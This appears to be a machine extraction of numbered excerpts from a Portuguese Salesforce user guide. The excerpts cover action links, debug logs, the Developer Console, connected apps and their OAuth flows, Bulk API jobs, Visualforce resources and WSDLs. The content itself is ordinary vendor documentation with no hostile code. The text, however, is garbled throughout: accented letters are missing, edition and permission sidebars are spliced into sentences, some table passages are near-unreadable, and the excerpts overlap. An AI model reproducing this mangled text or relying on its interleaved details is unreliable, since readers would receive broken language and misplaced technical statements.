55. Determine quem pode ver o link de a o quando est associado a um elemento de feed Defini o de quem pode ver o link de a o e Use vari veis de contexto no modelo para obter informa es sobre o contexto de execu o do link de a o Quando o link de a o executado o Salesforce preenche os valores e os envia na solicita o HTTP Consulte Usar vari veis de contexto Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 143 Defini o do hor rio de expira o do grupo de links de a o Ao criar um grupo de links de a o a partir do modelo a data de expira o pode ser calculada com base em um per odo fornecido no modelo ou poss vel definir que o grupo de links de a o n o expira nunca Para definir as horas at a expira o em um modelo insira um valor no campo Horas at a expira o do modelo de grupo de links de a o Esse valor o n mero de horas desde a instancia o do grupo de links de a o at sua remo o dos elementos de feed associados quando n o pode mais ser executado O valor m ximo 8760 que equivale a 365 dias Para definir a data de expira o do grupo de links de a o ao instanci lo defina a propriedade expirationDate do corpo de solicita o da Defini o de grupo de links de a o API REST do Chatter ou da classe de entrada ConnectApi ActionLinkGroupDefinition Apex Para criar um grupo de links de a o que
56. Fluxo de AIS EXATO rabalho e acima D de entrevista nome do elemento nome do Fluxo de AIS EXATO compromisso e tipo de compromisso rabalho e acima D de entrevista nome do elemento nome do Fluxo de AIS EXATO compromisso tipo de compromisso e se as condi es trabalho e acima foram atendidas D da entrevista nome do elemento e ID permanente Fluxo de MAIS EXATO da entrevista rabalho e acima D da entrevista nome do elemento n mero de Fluxo de MAIS EXATO compromissos aguardados pelo elemento e ID rabalho e acima permanente da entrevista mero da linha e n mero de bytes C digo do MAIS EXATO Apex e acima mero da linha e n mero de bytes desalocados C digo do MAIS EXATO Apex e acima mero da linha BD O MAIS CORRETO DE TODOS amespace e os limites a seguir Perfil do O MAIS RE E m Apex CORRETO DE umber of SOQL queries TODOS Number of query rows Number of SOSL queries Number of DML statements Number of DML rows Number of code statements Maximum heap size Number of callouts Number of Email Invocations Number of fields describes Aprimorar o Salesforce com c digo Guia do usu rio Registros de depura o 282 Nome do evento Campos ou informa es registradas com o Categoria N vel evento registrada registrado Number of record type describes Number of child relationships describes Number of picklist describes Number of futu
57. Logs Me checkpoints Query Editor Progress Problems Status TestRun Duration Failures Total Overall Code Coverage x Sj 2013 04 10 08 03 53 td b3 a 0 2 Class Percent Lines v E UserResultTest 0 1 FilterOptions 100 9 9 2 se E testUserResult 0 00 FilterOptionsTest 0 Nodata v 3 GS PermissionAssignmentControllerTest 0 1 rm 0 Nodata v E testController 0 00 fooz 0 No data HelloWorld 0 No data MyClass 0 Nodata O painel Overall Code Coverage Cobertura de c digo global exibe a porcentagem de cobertura de c digo para cada classe da sua organiza o O painel sempre exibe a porcentagem atual de cada classe Ap s realizar uma execu o de teste de todas as classes ele exibe uma percentagem global para toda a organiza o em negrito Para obter mais informa es consulte Verificando a cobertura de c digo Para obter mais informa es sobre testes consulte a se o Testes do Guia do desenvolvedor de c digo do Apex Force com CONSULTE TAMB M Criar uma execu o de teste Verificando a cobertura de c digo Verificando a cobertura de c digo O Console do desenvolvedor recupera e exibe informa es de cobertura de c digo da sua organiza o Os resultados de cobertura de c digo v m de todos os testes executados a partir da API ou da interface com o usu rio por exemplo o Console do desenvolvedor o IDE Force com ou a p gina Execu o de teste do Apex Para limpar os resultados atuais clique em Test Tes
58. Pode levar alguns minutos para que todos os usu rios vejam as altera es feitas neste campo Clique em Salvar CONSULTE TAMBEM Criando e editando tradu es de r tulos personalizados Vis o geral dos r tulos personalizados Guia do usu rio Componentes do Lightning Apex Visualforce 118 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Developer Professional Enterprise Performance e Unlimited PERMISS ES DO USU RIO Criar editar ou excluir r tulos personalizados e Personalizar aplicativo Criar ou substituir uma tradu o e Gerenciar tradu o OU Ver Instala o e Configura o e ser designado como tradutor Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Criando e editando tradu es de r tulos personalizados Para criar ou editar r tulos personalizados 1 Em Configura o insira R tulos personalizados nacaixa Busca r pida e selecione R tulos personalizados 2 Selecione o nome do r tulo personalizado para abrir o r tulo 3 Nalista relacionada Tradu es clique em Novo para inserir uma nova tradu o ou Editar pr ximo ao idioma para alterar uma tradu o Se voc clicar em Excluir o Salesforce confirmar se voc deseja remover e depois remover a tradu o do r tulo personalizado 4 Selecioneo Idioma para o qual voc est traduzindo 5 Insirao T
59. SOQL e SOSL Use o Editor de consulta para consultar dados da sua organiza o Aprimorar o Salesforce com c digo Guia do usu rio Console do desenvolvedor 7 e Visualizar resultados de consulta Os resultados s o exibidos em uma grade Resultados da consulta na qual poss vel abrir criar atualizar e excluir registros Em resultados de pesquisa SOSL com v rios objetos cada objeto exibido em uma guia separada CONSULTE TAMB M Abrir o Console do desenvolvedor Vis o geral da interface de usu rio do console do desenvolvedor Menu Arquivo Guia Registros Exemplos de uso do inspetor de registros Refer ncia da linha de comando do Console do desenvolvedor Para abrir ou fechar a janela de linha de comando do do Developer Console clique em CTRL SHIFT L Os seguintes comandos est o dispon veis Comando commands exec lt Apex statements gt exec o r find lt string gt ajuda man lt command gt Par metros Nenhum lt Apex statements gt Uma ou mais instru es do Apex Nenhum lt string gt Uma string de caracteres Nenhum lt command gt Um comando da janela da linha de comando Espa os de trabalho do console do desenvolvedor Descri o Uma lista de todos os comandos Executa lt Apex statements gt egera um log o Abre a janela Inserir c digo do Apex r Executa o c digo da janela Inserir c digo do Apex e gera um registro Pesquisa o log de uma s
60. Selecionea Vers o da API do Salesforce Essa tamb m a vers o do Visualforce usada com a p gina ou o componente 3 Clique em Salvar Para definir as configura es da vers o do pacote para uma p gina ou componente personalizado do Visualforce 1 Edite uma p gina ou componente do Visualforce e clique em Configura es da vers o 2 Selecione uma Vers o para cada pacote gerenciado mencionado pela p gina ou componente do Visualforce Essa vers o do pacote gerenciado continuar a ser usada pela p gina ou pelo componente se forem instaladas vers es posteriores do pacote gerenciado a menos que voc atualize manualmente a configura o da vers o Para adicionar um pacote gerenciado instalado lista de configura es selecione um pacote na lista de pacotes dispon veis A lista s ser exibida se voc tiver um pacote gerenciado instalado que ainda n o esteja associado p gina ou ao componente 3 Clique em Salvar Observe o seguinte ao trabalhar com as configura es da vers o do pacote e Se voc salvar uma p gina ou um componente personalizado do Visualforce que fa a refer ncia a um pacote gerenciado sem especificar uma vers o do pacote gerenciado a p gina ou componente estar associado por padr o vers o mais recente instalada do pacote gerenciado e Voc n o poder Remover uma configura o da vers o da p gina ou do componente do Visualforce de um pacote gerenciado se este for referenciado pe
61. Todos os dados em um trabalho devem ser do tipo de objeto nico Opera o A opera o de processamento para todos os lotes no trabalho Os valores v lidos s o e excluir e inserir consulta e inserir e atualizar e atualizar e hardDelete Andamento A porcentagem de lotes processados referente ao n mero total de lotes enviados O andamento n o ser mostrado quando o trabalho for aberto porque o n mero total de lotes no trabalho n o conhecido at que o trabalho seja fechado O andamento talvez n o reflita precisamente o n mero de registros processados Os lotes talvez n o contenham o mesmo n mero de registros e eles poder o ser processados em velocidades diferentes Registros O n mero de registros j processados Esse n mero aumenta a medida que mais processados lotes s o processados Salesforce 155 EDICOES Disponivel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Enterprise Performance Unlimited Developer e Database com PERMISS ES DO USU RIO Para monitorar trabalhos de carregamento de dados em massa e Gerenciar integra es de dados Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Coluna Hora de in cio Status Enviado por Salesforce 156 Descri o A data e a hora em que o trabalho foi enviado O estado atual do processamento do trabalho Os valores v lidos s o e Aberto Otraba
62. URL de retorno Ele deve corresponder a um dos valores para passar na valida o Se estiver usando o fluxo de OAuth JWT selecione Usar assinaturas digitais Seo aplicativo usar um certificado clique em Escolher arquivo e selecione o arquivo de certificado Adicione todos os escopos de OAuth suportadosem Escopos OAuth selecionados Esses escopos referem se s permiss es dadas pelo usu rio que executa o aplicativo conectado e s o seguidos pelos seus nomes de chave de seguran a do OAuth entre par nteses Acesse e gerencie o feed do Chatter chatter api Permite acesso somente aos recursos da API REST do Chatter Acesse e gerencie os dados api Permite o acesso conta do usu rio conectado usando APIs como a API REST e a API em massa Esse valor tamb m inclui a chatter api que permite o acesso aos recursos da API REST do Chatter Acesse as informa es b sicas id perfil email endere o telefone Permite acesso ao servi o de URL de identidade Acessar permiss es personalizadas custom permissions Permite o acesso s permiss es personalizadas em uma organiza o associada ao aplicativo conectado e mostra se o usu rio atual est com cada permiss o ativada ou n o Permite acesso ao identificador exclusivo openid Permite o acesso ao identificador exclusivo do usu rio conectado para aplicativos OpenID Connect Acesso total full Permite o acesso a todos os dados dispon veis para o usu rio logado e englo
63. Visualforce 63 Se um documento WSDL contiver uma palavra reservada do Apex a palavra ser inclu da com _x quando a classe do Apex for gerada Por exemplo o limite em um documento WSDL convertido em limit x na classe do Apex gerada Para obter uma lista de palavras reservadas consulte Force com Apex Code Developer s Guide Se uma opera o no WSDL tiver uma mensagem de sa da com mais de um elemento o Apex gerado insere os elementos em uma classe interna O m todo do Apex que representa a opera o WSDL retorna uma classe interna ao inv s dos elementos individuais CONSULTE TAMB M Definir classes do Apex Monitorando a fila de trabalhos do Apex Afila de trabalhos do Apex relaciona todos os trabalhos do Apex que foram enviados para execu o EDICOES Os trabalhos j executados aparecem na lista juntamente com aqueles que ainda n o foram conclu dos incluindo Dispon vel em Salesforce Os m todos do Apex com a anota o futuro que ainda n o foram executados Esses trabalhos Classic e Lightning aparecem na lista como Futuros na coluna Tipo de trabalho e n o t m valores nas colunas Total Experience de lotes ou Lotes processados Dispon vel em Enterprise As classes do Apex que implementam a interface Enfi lei r vel que ainda n o foi Performance Unlimited executada Esses trabalhos aparecem na lista como Futuros na coluna Tipo de trabalho e n o Developer e Database com t m valores nas colunas Total de lotes
64. Voc tamb m pode selecionar Criptografar a resposta de SAML para carregar um certificado e selecionar um m todo de criptografia para criptografar a declara o Os valores v lidos do algoritmo de criptografia s o AES 128 chave de 128 bits AES 256 chave de 256 bits e DES triplo Algoritmo triplo de criptografia de dados Manipulador do Connected App personalizado Personalize o comportamento de um aplicativo conectado com o Apex Crie uma classe que estenda a classe Connect edAppPlugin do Apex e associe a a um aplicativo conectado A classe pode oferecer suporte a novos protocolos de autentica o ou responder a atributos de usu rio de modo a beneficiar um processo de neg cio O plug in executado em nome de uma conta de usu rio No campo Executar como selecione o usu rio para o plug in Se o usu rio n o estiver autorizado para o aplicativo conectado use o m todo authorize para fazer isso Para obter mais informa es consulte a classe ConnectedAppPlugin no Force com Apex Code Developer s Guide Configura es de aplicativo m vel 1 Insirao URL do in cio m vel para direcionar os usu rios a um local espec fico quando o aplicativo acessado a partir de um dispositivo m vel Se n o forinseridaa URL do in cio m vel os usu rios ser o enviadosa URL de in cio definida nas Configura es de aplicativo da Web Se o aplicativo conectado que voc est criando for um aplicativo de tela n o ser preciso i
65. a palavra acionador s o exibidas na se o de registro de execu o 3 Limite o escopo da guia Registro da execu o para um quadro selecionado espec fico da execu o selecionando This Frame Este quadro Por exemplo se voc selecionar uma linha que cont m CODE UNIT STARTED no registro de execu o e em seguida clicar em This Frame Este quadro o registro de execu o exibir somente os itens na solicita o que ocorrem entre CODE UNIT STARTED eseu CODE UNIT ENDED associado Nota Quando This Frame Este quadro for selecionado o Registro da execu o somente exibir os itens contidos no quadro e n o qualquer opera o de n vel inferior Por exemplo se um acionador chamar uma classe somente as opera es do acionador ser o exibidas no Registro da execu o n o as opera es da classe Perspectivas do inspetor de registro Criando perspectivas personalizadas no inspetor de registro Uma perspectiva um layout predefinido de pain is no Console do desenvolvedor Inspetor de registros Ao executar uma tarefa no Inspetor do sistema use uma perspectiva que agilize e facilite a conclus o da tarefa Cada desenvolvedor tem um estilo diferente Para obter uma lista de perspectivas prontas consulte Inspetor de registros Para criar uma perspectiva personalizada ou modificar uma perspectiva existente 1 No Console do desenvolvedor abra um registro no Inspetor de registro 2 Clique em De
66. acessar as configura es personalizadas hier rquicas e seus valores de campo usando a nota o de ponto Por exemplo Setup App Prefs c Show Help Content c As configura es personalizadas hier rquicas permitem valores em tr s n veis 1 Organiza o o valor padr o para todos 2 Perfil que substitui o valor Organiza o 3 Usu rio que substitui os valores Organiza o e Perfil O Salesforce determina automaticamente o valor correto para esse campo de configura o personalizada no contexto atual do usu rio em execu o SSetup CustomSettingName c CustomFieldName c Os campos de f rmula funcionam somente para configura es personalizadas de hierarquia Eles n o podem ser usados para configura es personalizadas de lista O exemplo a seguir ilustra como exibir condicionalmente uma mensagem de ajuda estendida para um campo de entrada dependendo da prefer ncia do usu rio lt apex page gt lt apex inputField value usr Workstation Height c J gt lt apex outputPanel id helpWorkstationHeight rendered Setup App Prefs c Show Help Content c gt Enter the height for your workstation in inches measured from the floor to top of the work surface lt apex outputPanel gt Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Dicas Site Descri o Use Visualforce 34 lt apex page gt Se o nivel de organiza o da configura o perso
67. acesso n o mais v lida e quando solicitar Classic uma nova Os fluxos portadores podem ser usados somente ap s o consumidor receber uma chave de atualiza o Dispon vel em todas as o a no edi es A seguir est o as etapas para o fluxo de autentica o da chave de atualiza o Mais detalhes sobre cada etapa est o a seguir ee PERMISS ES DO 1 O consumidor usa a chave de atualiza o existente para solicitar uma nova chave de acesso USU RIO 2 Ap s a verifica o da solicita o o Salesforce envia uma resposta para o cliente Para gerenciar criar editar e excluir aplicativos OAuth e Gerenciar aplicativos Um consumidor pode usar a chave de atualiza o para obter uma nova sess o conforme necess rio conectados Consumidor solicita chave de acesso atualizada O consumidor deve fazer uma solicita o POST para o ponto final da chave com os seguintes par metros e tipo de concess o Ovalordeveser cnave de atualiza o para este fluxo e chave de atualiza o Chave de atualiza o da etapa de aprova o e client id chave do consumidor a partir da defini o do aplicativo conectado e client secret segredo do consumidor a partir da defini o do aplicativo conectado Esse par metro opcional e client assertion Emvezde passar client secret poss vel optar por fornecer um client assertione um client assertion type Caso um par metro client secret n o seja fornecido o
68. adicionar comportamento personalizado ao aplicativo de tela 8 Para permitir que seu aplicativo seja instalado pelos usu rios finais marque a caixa de sele o Ativar como aplicativo pessoal de tela Aguia Chatter o nico Local que tem suporte para aplicativos pessoais de tela Para obter detalhes sobre aplicativos pessoais de tela consulte Aplicativos pessoais de tela no Force com Canvas Developer s Guide Guia do Desenvolvedor do Force com Canvas Nota Caso voc n o veja a configura o Ativar como aplicativo pessoal de tela significa que o administrador da organiza o de destino do aplicativo n o ativou os aplicativos pessoais de tela Para obter detalhes sobre esse requisito consulte Ativa o de aplicativos pessoais de tela em uma organiza o no Force com Canvas Developer s Guide Guia do Desenvolvedor do Force com Canvas CONSULTE TAMB M Editar empacotar ou excluir um aplicativo conectado Vis o geral de aplicativos conectados URLs de identidade Aprimorar o Salesforce com c digo Editar empacotar ou excluir um aplicativo conectado PERMISS ES DO USU RIO Para ler Personalizar aplicativo Para criar atualizar ou excluir Personalizar aplicativo E Guia do usu rio Integra o de aplicativos com o Salesforce 172 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Modificar todos os dados OU Gerenciar aplicativos conectados Para atual
69. aplicativo conectado ativado por OAuth para obter novas sess es sem exigir que o usu rio forne a suas credenciais O aplicativo conectado simplesmente troca o token de atualiza o por uma nova sess o Usando pol ticas de Aprimorar o Salesforce com c digo token de atualiza o os administradores controlam por quanto tempo o token de atualiza o pode ser usado As op es s o as seguintes e O token de atualiza o v lido at ser revogado Essa configura o o comportamento padr o Ela especifica que o token pode ser usado indefinidamente a menos que seja revogado pelo usu rio ou pelo administrador Os tokens s o revogados na p gina de detalhes do usu rio em Aplicativos conectados OAuth ou no relat rio Uso de aplicativos conectados OAuth e Expirar o token de atualiza o imediatamente Essa configura o especifica que o token se torna inv lido imediatamente O usu rio pode utilizar a sess o atual token de acesso j emitida mas n o pode usar o token de atualiza o para obter uma nova sess o e Expirar token de atualiza o se n o for usado por nn Essa configura o invalida o token se ele n o usado pelo per odo de tempo especificado Por exemplo se o valor do campo estabelece 7 dias eo token de atualiza o n o trocado por uma nova sess o dentro de sete dias a pr xima tentativa de usar o token falha O token expirou e n o pode mais gerar novas sess es Se o token de atualiza o
70. aplicativos com o Salesforce 170 Para configurar as notifica es por push para GCM Android 1 2 3 Selecione Mensagens por push ativadas Em Plataforma de push suportada selecione Android GCM Em Chave para aplicativos de servidor chave de API insira a chave obtida durante o registro do desenvolvedor no Google Para alterar a plataforma m vel que voc configurou para as notifica es por push 1 2 3 4 Cancele a sele o de Mensagens por push ativadas Salve o aplicativo conectado e em seguida clique em Editar Altere a Plataforma do aplicativo e os valores associados em Configura es m veis para refletir a nova plataforma Reconfigure as notifica es por push para a nova plataforma Configura es de aplicativo de telas Dois tipos de aplicativos de tela est o dispon veis Aplicativos de tela que s o instalados pelo administrador da organiza o Aplicativos pessoais de tela que s o instalados pelos usu rios finais nas organiza es Os usu rios acessam um aplicativo pessoal de tela na guia Chatter e s o solicitados a permitir que o aplicativo se conecte aos seus dados do Salesforce Essas etapas incluem opcionalmente a transforma o de um aplicativo em um aplicativo pessoal de tela Para obter mais informa es consulte Aplicativos pessoais de tela no Guia do desenvolvedor de tela do Force com Se o seu aplicativo conectado for exposto como aplicativo de tela selecione Tela do
71. as A autentica o do aplicativo autorizado fornecida por uma assinatura digital aplicada ao JWT edi es Explica es mais detalhadas sobre o JWT e o fluxo de token portador JWT para OAuth podem ser encontradas em PERMISS ES DO e http tools ietf org html draft ietf oauth jwt bearer USU RIO e http tools ietf org html draft jones json web token Para gerenciar criar editar e excluir aplicativos OAuth Vis o geral do fluxo de token portador JWT de OAuth 2 0 e Gerenciar aplicativos O fluxo de token portador JWT de OAuth 2 0 semelhante a um fluxo de token de atualiza o no conectados OAuth O JWT enviado por POST para ponto final do token do OAuth que por sua vez processa o JWT e emite um access_token com base na aprova o anterior do aplicativo No entanto o cliente n o precisa ter ou armazenar um refresh token nem necess rio que um client secret seja passado para o ponto final do token O fluxo de portador JWT suporta o algoritmo RSA SHA256 que usa um certificado carregado como segredo de assinatura O fluxo de token portador JWT do OAuth 2 0 envolve as seguintes etapas gerais 1 Odesenvolvedor cria um aplicativo novo ou usa aplicativo conectado e se desejar pode registrar um certificado X509 Esse certificado corresponde chave privada do aplicativo Quando o aplicativo conectado salvo a Chave do consumidor client iddo OAuth e o Segredo do consumidor s o gerados e atribu do
72. b sicas como novo clonar visualizar editar listar e excluir A vari vel global SAct ion tamb m faz refer ncia as a es dispon veis em muitos objetos padr o Os valores dispon veis na sua organiza o podem ser diferentes dependendo dos recursos que voc ativar Valor Aceitar Activate Adicionar AddCampaign Addlnfluence AddProduct AddToCampaign AddToOutlook AdvancedSetup AltavistaNews Cancel Descri o Aceita um registro Ativa um contrato Adiciona um produto ao cat logo de pre os Adiciona um membro campanha Adiciona uma campanha a uma lista de oportunidade em campanhas de influ ncia Adiciona um produto ao cat logo de pre os Adiciona um contato ou lead a uma campanha Adiciona um compromisso ao Microsoft Outlook Inicia a configura o avan ada da campanha Lan a www altavista com news Cancela um compromisso Objetos e Grupo de an ncios e Caso e Compromisso e Campanha do Google e Palavra chave e Lead e Frase de pesquisa e Vers o SFGA e An ncio de texto Contrato Product Campanha Oportunidade OpportunityLineltem e Contato e Lead Compromisso Campanha e Conta e Lead Compromisso Visualforce 41 EDI ES Dispon vel em Salesforce Classic Vari vel global SAction dispon vel em todas as edi es PERMISS ES DO USU RIO Para criar editar e excluir custom s controls f r
73. carregou o arquivo com o primeiro par metro e o caminho ao arquivo desejado com o segundo par metro Por exemplo lt apex image url URLFOR SResource TestZip images Bluehills jpg width 50 height 50 gt ou lt apex includeScript value URLFOR SResource LibraryJS base subdir file js gt e Voc pode fazer com que caminhos relativos nos arquivos de recurso est tico fa am refer ncia a outro conte do dentro do arquivo Por exemplo no seu arquivo CSS de nome styles css voc tem o seguinte estilo table background image img testimage gif Ao usar esse CSS em uma p gina do Visualforce voc precisa verificar se o arquivo CSS pode encontrar a imagem Para isso crie um arquivo como um arquivo zip que inclua styles css e img testimage gif Verifique se a estrutura do caminho est preservada no arquivo Em seguida carregue o arquivo como recurso est tico de nome style resources Depois na sua p gina adicione o seguinte componente lt apex stylesheet value URLFOR Resource style resources styles css gt Como o recurso est tico cont m tanto a folha de estilo quanto a imagem o caminho relativo da folha de estilo resolvido e a imagem exibida Um nico recurso est tico pode ter at 5 MB Uma organiza o pode ter at 250 MB de recursos est ticos Os recursos est ticos se aplicam cota de armazenamento de dados da organiza o CONSULTE TAMB M
74. com c digo Guia do usu rio Componentes do Lightning Apex Nome do atributo Descri o Visualforce 124 Codifica o A configura o de codifica o padr o Unicode UTF 8 Altere a se estiver passando informa es para um URL que requer dados em um formato diferente Essa op o est dispon vel quando voc seleciona URL parao Tipo CONSULTE TAMB M Sobre s controls S Controls teis Dicas de cria o de s controls Excluindo custom s controls O Importante As p ginas do Visualforce substituem s controls As organiza es que n o usaram s controls anteriormente n o podem cri los Os s controls existentes n o s o afetados e ainda podem ser editados Para excluir um custom s control 1 Primeiro garanta que o s control n o seja usado por outros componentes em Configura o insira S Controls nacaixa Busca r pida selecione S Controls selecione o s control e clique em Onde isso usado 2 Clique em S Controls novamente 3 Clique em Excluir ao lado do custom s control a ser exclu do 4 Clique em OK para confirmar Nota Voc n o pode excluir um custom s control usado em outro lugar do Salesforce Os s controls exclu dos n o v o para a Lixeira EDI ES Dispon vel em Salesforce Classic Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer PERMISS ES DO USU RIO Para criar editar e excluir custom s c
75. com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 247 Acessar tipos de metadados registros e campos personalizados Acessar tipos e registros de metadados personalizados Use SOQL para acessar os tipos de metadados personalizados e para recuperar os nomes de API EDI ES dos registros nesses tipos N o poss vel realizar opera es DML em metadados personalizados no Apex nas APIs Partner e nas APIs Enterprise Dispon vel em Salesforce Para informa es sobre o sObject Tipo de metadados personalizados mat consulte Classic Tipo de metadados personalizados mdtna Refer ncia de objetos para Salesforce e p Dispon vel em Edi es Rope can Professional Enterprise Por exemplo declare uma vari vel do Apex cus tMeta do tipo de metadados personalizados Performance Unlimited MyCustomMetadataType _mdt que est no seu namespace conforme descrito a seguir Developer e Database com As organiza es da Professional Edition podem acessar apenas registros de metadados personalizados a partir de tipos de metadados personalizados instalados MyCustomMetadataType mdt custMeta Declare a vari vel custMeta do tipo de metadados personalizados TneirCustomMetadataType _mdt que n o est no seu namespace mas no namespace their ns conforme descrito a seguir their ns TheirCustomMetadataType mdt custMeta Para obter os nomes de todos os objetos do tipo de metadados personalizados MyMdt mdt My
76. comum a partir da API REST do Chatter ou Apex poss vel empacotar modelos e distribu los a outras organiza es Salesforce Edi o de modelos de link de a o poss vel editar todos os campos em um modelo de grupo de links de a es n o publicado e em seus modelos de links de a es associados Exclus o de modelos de grupo de links de a o Quando voc exclui um modelo de grupo de links de a o exclui os modelos de links de a o associados e todos os grupos de links de a o que foram instanciados dos modelos Os grupos de links de a o exclu dos desaparecem dos elementos de feed aos quais foram associados Empacotamento de modelos de link de a o Empacote modelos de link de a o para distribu los a outras organiza es Salesforce CONSULTE TAMB M https developer salesforce com docs atlas en us chatterapi meta chatterapi features action links htm https developer salesforce com docs atlas en us apexcode meta apexcode connectapi features action links htm Aprimorar o Salesforce com c digo Designa o de modelos de link de a o Guia do usu rio Integra o de aplicativos com o Salesforce 140 Antes de criar um modelo considere os valores que deseja definir no modelo e os valores que deseja definir com vari veis vinculantes ao instanciar os grupos de links de a o a partir do modelo e Vis o geral de modelos de link de a o e Considera es sobre design de modelos e Defini
77. configura es m veis do seu aplicativo conectado est o configuradas adequadamente Consulte Criando um aplicativo conectado NESTA SE O Enviar notifica es por push de teste para o APNS Para executar um teste r pido da sua notifica o por push para o Apple Push Notification Service APNS use a p gina Enviar notifica o de teste Enviar notifica es por push de teste para o GCM para Android Para executar um teste r pido da configura o da notifica o por push para o Google Cloud Messaging for Android GCM use a p gina Testar notifica es por push Mensagens de erro de notifica es por push Se voc obt m uma mensagem de erro ao enviar uma notifica o por push a partir da p gina Enviar notifica o de teste verifique a tabela a seguir para ver sugest es de como corrigir o erro Enviar notifica es por push de teste para o APNS Para executar um teste r pido da sua notifica o por push para o Apple Push Notification Service APNS use a p gina Enviar notifica o de teste 1 Insira uma string de token de conex o no campo Destinat rio ou procure um destinat rio clicando em Pesquisar amp e selecione um dos resultados de pesquisa Por padr o a lista Resultados da pesquisa mostra os cinco dispositivos registrados mais recentemente no seu aplicativo conectado a Para localizar outros dispositivos insira um nome de usu rio na caixa de texto Pesquisar b Clique em Ir para gerar
78. cria automaticamente uma nova CONSULTE TAMB M Vis o geral de aplicativos conectados Criando um Aplicativo conectado Editar um aplicativo conectado Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 184 Testando as notifica es por push Para executar um teste r pido da sua notifica o por push use a p gina Enviar notifica o de teste EDICOES A pagina Enviar notifica o de teste permite resolver problemas de notifica o de ida e volta em um mecanismo s ncrono sem precisar configurar o Apex ou chamadas de REST Tamb m pode Dispon vel em Salesforce fornecer insights sobre o que est acontecendo nos bastidores do ambiente ass ncrono das Classic e Lightning notifica es por push no mundo real Experience o mo Aplicativos conectados Limites das notifica es por push podem ser criados em O n mero m ximo de notifica es por push permitidas para cada aplicativo m vel associado sua Edi es Group organiza o do Salesforce depende do tipo de aplicativo Professional Enterprise Performance Unlimited e Developer N mero m ximo de notifica es por push permitidas para Limite Aplicativos conectados podem ser instalados em todas as edi es Aplicativos m veis fornecidos pelo Salesforce por exemplo Salesforce1 50 000 notifica es por aplicativo por dia Aplicativos m veis desenvolvidos por sua organiza o para uso interno 35 000 notifica
79. dados em massa Monitorando trabalhos de carregamento de dados em massa Voc pode criar atualizar ou excluir um grande volume de registros com a API em massa que otimizada para processar conjuntos grandes de dados Ela simplifica o carregamento a atualiza o ou a exclus o de dados de alguns milhares a milh es de registros Processando uma grande quantidade de registros requer certo tempo Essa p gina permite que voc monitore o andamento dos trabalhos atuais e os resultads do trabalhos recentes Processe um conjunto de registros criando um trabalho que contenha um ou mais lotes O trabalho especifica qual objeto est sendo processado e qual tipo de a o est sendo usada consultar inserir atualizar ou excluir Um lote um conjunto de registros enviados para o servidor em uma solicita o HTTP POST Cada lote processado de forma independente pelo servidor n o necessariamente na ordem em que foi recebido Para monitorar o status dos trabalhos de carregamento de dados em massa em andamento ou recentemente conclu dos em Configura o insira Trabalhos de carregamento de dados em massa nacaixa Busca r pida e em seguida selecione Trabalhos de carregamento de dados em massa A lista Trabalhos em andamento cont m as colunas a seguir mostradas em ordem alfab tica Coluna Descri o ID do O ID exclusivo de 15 caracteres deste trabalho trabalho Objeto O tipo de objeto para os dados que est o sendo processados
80. digite o texto que dever ser usado para identificar esse componente personalizado na marca o do Visualforce Esse nome pode conter somente sublinhados e caracteres alfanum ricos e deve ser exclusivo na sua organiza o Deve come ar com uma letra n o incluir espa os n o terminar com sublinhado e n o conter dois sublinhados consecutivos Na caixa de texto Descri o insira um texto descritivo do componente personalizado Essa descri o aparece na refer ncia do componente com outras descri es de componente padr o assim que voc clica em Salvar Na caixa de texto Corpo insira a marca o do Visualforce para a defini o do componente personalizado Um nico componente pode conter at 1 MB de texto ou aproximadamente 1 000 000 de caracteres Guia do usu rio Componentes do Lightning Apex Visualforce 78 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer PERMISS ES DO USU RIO Para criar componentes personalizados e Personalizar aplicativo Clique em Configura es da vers o para especificar a vers o do Visualforce e a API usada com esse componente Tamb m poss vel especificar vers es para quaisquer pacotes gerenciados instalados na sua organiza o Clique em Salvar para salvar as altera es e exibir a tela de detalhes do componente personaliz
81. do documento WSDL Web Services Description Language para integrar EDICOES seus aplicativos com o Salesforce utilizando a API Os seguintes WSDLs est o dispon veis Dispon vel em Salesforce e WSDL empresarial Use este documento do WSDL para criar uma integra o de uma nica Classic e lightning organiza o O WSDL empresarial fortemente tipificado o que significa que cont m objetos Expellence e campos com tipos de dados espec ficos tais como int e string Clientes que usam o Dispon vel em Professional documento de WSDL empresarial devem fazer download e reconsumi lo sempre que a Enterprise Developer e organiza o fizer uma altera o nos objetos ou campos padr o ou sempre que eles quiserem Database com Editions usar uma vers o diferente da API e WSDL do parceiro Use este WSDL para criar uma integra o que pode funcionar em todas PERMISSOES DO as organiza es do Salesforce independente dos seus objetos personalizados ou campos USUARIO Normalmente parceiros e ISVs usam este WSDL A identifica o de tipos fraca o que significa que voc trabalha com os mesmos pares de nome valor dos nomes de campo e valores em Para fazer download do vez de tipos de dados espec ficos O documento de WSDL do parceiro s precisa ser baixado WSDL e consumido uma vez por vers o da API e Personalizar aplicativo e Apex WSDL Use esta WSDL para executar ou compilar o Apex em outro ambiente e WSDL de metadados U
82. em outro como zip ou jar use a fun o URLFOR Especifique o nome do recurso est tico fornecido quando voc carregou o arquivo com o primeiro par metro e o caminho do arquivo desejado dentro do arquivo com o segundo par metro Por exemplo lt apex image url URLFOR SResource TestZip images Bluehills jpg width 50 height 50 gt Essa vari vel global s est dispon vel para p ginas do Visualforce O Importante As p ginas do Visualforce substituem s controls As organiza es que n o usaram s controls anteriormente n o podem cri los Os s controls existentes n o s o afetados e ainda podem ser editados Descri o Use Exemplo de s control Exemplos do Visualforce Tipo de campo de mesclagem global a ser usado para fazer refer ncia a um custom s control por nome Use os campos de mesclagem de s control nas fun es LINKTO INCLUDE e URLFOR para fazer refer ncia a um dos s controls personalizados 1 Selecione o tipo de dados SControl 2 Selecione um s control para inserir um campo de mesclagem que represente esse s control como Scontrol Header Snippet Os control a seguir faz refer ncia ao snippet no campo de mesclagem Scontrol Header Snippet lt html gt lt body gt INCLUDE SControl Header Snippet title My Title theme modern lt body gt lt html gt 